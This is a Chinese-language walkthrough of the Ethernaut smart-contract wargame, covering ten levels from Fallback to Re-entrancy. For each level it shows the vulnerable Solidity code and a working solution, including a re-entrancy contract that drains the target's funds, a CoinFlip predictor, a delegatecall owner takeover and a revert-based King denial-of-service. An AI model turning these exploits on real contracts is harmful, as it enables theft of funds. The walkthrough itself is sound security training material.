Ethernaut记录
Fallback
首先看通关方式
仔细看下面的合约代码.
通过这关你需要
- 获得这个合约的所有权
- 把他的余额减到0
这可能有帮助
- 如何通过与ABI互动发送ether
- 如何在ABI之外发送ether
- 转换 wei/ether 单位 (参见
help()
命令)- Fallback 方法
再看代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
逐步分析,在合约的构造函数中将合约的部署者设置成了函数的owner并且设定了其贡献值为1000eth,如果走contribute函数来获取owner权限的话需要超过1000eth的贡献,而每次的贡献又需要小于0.001eth,这显然是不现实的,所以我们看向receive函数,在这里只要我们向receive函数携带eth,并且我们有贡献值就能拿到owner权限,最后再使用withdraw将合约剩余代币转出即可
- contract.contribute({value:1})
- contract.sendTransaction({value:1})
- contract.withdraw()
FallOut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?
实际上… 也未必.
Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 ‘Dynamic Pyramid’ 改成 ‘Rubixi’ 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:
contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ...
这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.
就这没错
Coin Flip
这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
这可能能帮助到你
- 查看上面的帮助页面,“控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();//回滚
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
看代码定义的三个数字consecutiveWins,lastHash,FACTOR,分别是我们获胜的次数,最后一次区块的哈希,还有2的255次方
再看后面整个对硬币反转做判断的函数内容,首先是让blockValue值为前一个区块,并且进行判断如果此次猜测和上次猜测的区块相同就回滚整个过程,如果不是就继续下面内容
首先将此次的区块内容存储,并且让coinFilp的值为blockValue/FACTOR,此处由于自动取整,并且FACTOR值为2^255,所以结果非1即0,可以看到整个过程随机结果的产生完全依靠于上一个区块,所以我们只需要先本地执行一遍算法计算出coinFlip的值就能保证我们每次都“猜”到结果,区块大约为10秒一个,所以直接使用手撸复制猜测是不现实,我们可以再写一个合约部署到相同的区块链上来攻击该链
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
在Remix IDE中通过Metamask部署到题目的区块链上,进行10次hack攻击即可
通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.
想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.
一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).
Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
直接看tx.origin
和msg.sender
的区别
msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址
tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin
我们开一个新合约直接传入我们自己的address通过新合约调用Telephone合约即可
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.16;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract hh{
address ow=0xeeD53DF0B7E5CF4272a2E92c4E39B1405910d8C7;
Telephone exp;
constructor(address name){
exp=Telephone(name);
}
function hack(){
exp.changeOwner(ow);
}
}
这个例子比较简单, 混淆
tx.origin
和msg.sender
会导致 phishing-style 攻击, 比如this.下面描述了一个可能的攻击.
- 使用
tx.origin
来决定转移谁的token, 比如.function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; }
- 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
function () payable { token.transfer(attackerAddress, 10000); }
- 在这个情况下,
tx.origin
是受害者的地址 (msg.sender
是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.
Token
这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好
这可能有帮助:
- 什么是 odometer?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
看代码,balances映射的相当是我们的token个数,初始为20个,再看transfer函数,要求我们的token数减去交易数要大于等于0,但是问题是token数和交易数都是uint类型,恒大于等于0(因为运算结果也是uint类型),所以require根本不需要绕过,如果我们将_value
值设定为21,就会出现溢出,导致我们的balance极大,也就完成了任务
contract.transfer(instance,21)
Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:
if(a + c > a) { a = a + c; }
另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:
a = a.add(c);
如果有溢出, 代码会自动恢复.
Delegation
这一关的目标是申明你对你创建实例的所有权.
这可能有帮助
- 仔细看solidity文档关于
delegatecall
的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.- Fallback 方法
- 方法 ID
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
很明显需要通过调用pwn函数来将owner变成我们自己,但是部署的合约是Delegation
,我们该如何调用另一个合约中的函数呢,很简单,使用solidity中自带的call方法即可
在solidity中有三种call方法可用:
call
<address>.call(bytes memory) returns (bool, bytes memory)
使用给定的payload发出一个低级(low-level)的
CALL
命令,返回执行是否成功和数据,转发所有可用gas,可调整。delegatecall
<address>.delegatecall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的
DELEGATECALL
指令,返回执行是否成功和数据,转发所有可用gas,可调整。staticcall
<address>.staticcall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的
STATICCALL
指令,返回执行是否成功和数据,转发所有可用gas,可调整。这官方文档纯纯废话,说了跟没说一样
乍一看似乎内容都差不多,那我们自己调用这些命令来测试一下吧
pragma solidity ^0.4.23;
contract Calltest {
address public b;
function test() public {
b=address(this);
}
}
contract Compare {
address public b;
address public testaddress;
event logb(address _a);
constructor(address _addressOfCalltest) public {
testaddress = _addressOfCalltest;
}
function withcall() public {//通过call方法调用函数
testaddress.call(bytes4(keccak256("test()")));
emit logb(b);
}
function withdelegatecall() public {//通过delegatecall方法调用函数
testaddress.delegatecall(bytes4(keccak256("test()")));
emit logb(b);
}
}
图中可以看到,在使用call方法调用函数时,可以发现CALLTEST
合约的b已经变成了这个合约的部署地址 0xDA0bab807633f07f013f94DD0E6A4F96F8742B53
,而Compare合约的地址并没有变化。说明call
只是在Calltest
合约中执行了test函数
而在使用delegatecall方法调用函数时,COMPARE
合约的b变成了合约部署地址,说明这个函数实际上是在Compare
合约中执行的,也就相当于是把函数复制了一份到合约中执行
那么在这个合约中我们只需要通过fallback执行delegatecall来进入Delegate合约中的pwn方法来执行替换owner
而fallback函数的执行只需要sendTransaction方法,带上data即可执行pwn函数,方法的ID是4字节的sha3
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})
使用
delegatecall
是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 “看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧”. 代理对你合约的状态有完全的控制权.delegatecall
函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的.
Force
有些合约就是拒绝你的付款,就是这么任性
¯\_(ツ)_/¯
这一关的目标是使合约的余额大于0
这可能有帮助:
- Fallback 方法
- 有时候攻击一个合约最好的方法是使用另一个合约.
- 阅读上方的帮助页面, “控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
想让合约余额大于0首先想到的就是直接转账了contract.sendTransaction(instance,1)
,但是由于fallback重写导致我们的交易被回退,如图所示
此时我们就需要用到另一个合约了,在selfdestruct
函数中会将整个合约销毁并将合约余额强制给予指定地址并且忽略fallback函数,所以这里我们只需要在制作一个新合约,存入代币,销毁发送到题目合约即可
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.16;
contract Test{
address aim;
constructor (address t){
aim=t;
}
function a() payable{
}
function sd(){
selfdestruct(aim);
}
}
在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为
payable
.但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于
address(this).balance == 0
之上.
Vault
打开 vault 来通过这一关!
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
明显要拿password,但是private怎么拿呢?
这涉及到一点:以太坊部署和合约上所有的数据都是可读的,包括这里合约内定义为private类型的password变量,我们可以使用
web3.eth.getStorageAt
来读取合约行对应地址的数据web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
第一个参数时对应要读取的合约地址,第二个参数是要读取内容的索引位置(变量是第几个被定义的变量),第三个参数如果被设置,那么就不会使用默认的block(被web3.eth.defaultBlock设置的默认块),而是使用用户自定义的块,这个参数可选项有
"earliest"
,"latest"
和"pending"
,第四个选项设置回调函数。
所以我们直接读就好啦,password第二个被定义,我们直接读1
await web3.eth.getStorageAt(contract.address,1)
然后用password解锁就好啦~
请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.
为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.
King
下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.
这么有趣的游戏, 你的目标是攻破他.
当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
直接看receive,我们需要出价比原来的king高才能拿到控制权,并且题目中说了在提交实例是关卡会重新尝试夺回王权,也就是再给我们一个更大数额的eth,我们怎么才能防止他通过更高出价来夺走王位呢?
我们只需要在另起一个合约,在合约中设置receive内容为revert函数,这样在我们的合约收到代币的时候就会触发回滚导致king重夺王位失败
pragma solidity ^0.6.0;
contract AttackKing {
constructor(address payable _victim) public payable {
_victim.call.gas(1000000).value(0.01 ether)("");
}
receive() external payable {
revert();
}
}
大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).
关于这次的情况, 参见: King of the Ether 和 King of the Ether Postmortem
Re-entrancy
经典的重入漏洞终于来喽
这一关的目标是偷走合约的所有资产.
这些可能有帮助:
- 不可信的合约可以在你意料之外的地方执行代码.
- Fallback methods
- 抛出/恢复 bubbling
- 有的时候攻击一个合约的最好方式是使用另一个合约.
- 查看上方帮助页面, “控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
注意这里使用了
call{value:xx}
的形式,call
是send
和transfer
函数底层实现,也是用来转账的。与它们的区别在于,参考链接
- transfer:要求接收的智能合约中必须有一个
fallback
或者receive
函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
- 付款方合约的余额不足,小于所要发送的value
- 接收方合约拒绝接收支付
- send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
- call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
审计合约代码,这个合约的作用类似于银行,donate存withdraw取,那么这个代码问题究竟出在哪里呢,我们直接看存款函数,首先判断我们的账户是否有足够余额,然后给我们的账户转帐,最后扣除余额,看起来都没什么问题,但是如果银行的存款账户并不是一个钱包而是一个合约呢?
这时会直接进入到这个合约的fallback或者receive函数中,这时我们可以编写一个特殊的合约,让接收函数的fallback函数重复调用目标合约的withdraw
函数,这样合约就会不断给我们所编写的合约转账直至余额为0。具体代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
address payable target;
address payable public owner;
uint amount = 100000000000000 wei;
constructor(address payable _addr) public payable {
target=_addr;
owner = msg.sender;
}
function step1() public payable{
bool b;
(b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
require(b,"step1 error");
}
function setp2() public payable {
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"step2 error");
}
fallback () external payable{
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"fallback error");
}
function mywithdraw() external payable{
require(msg.sender==owner,'not you');
msg.sender.transfer(address(this).balance);
}
}
1000000000000000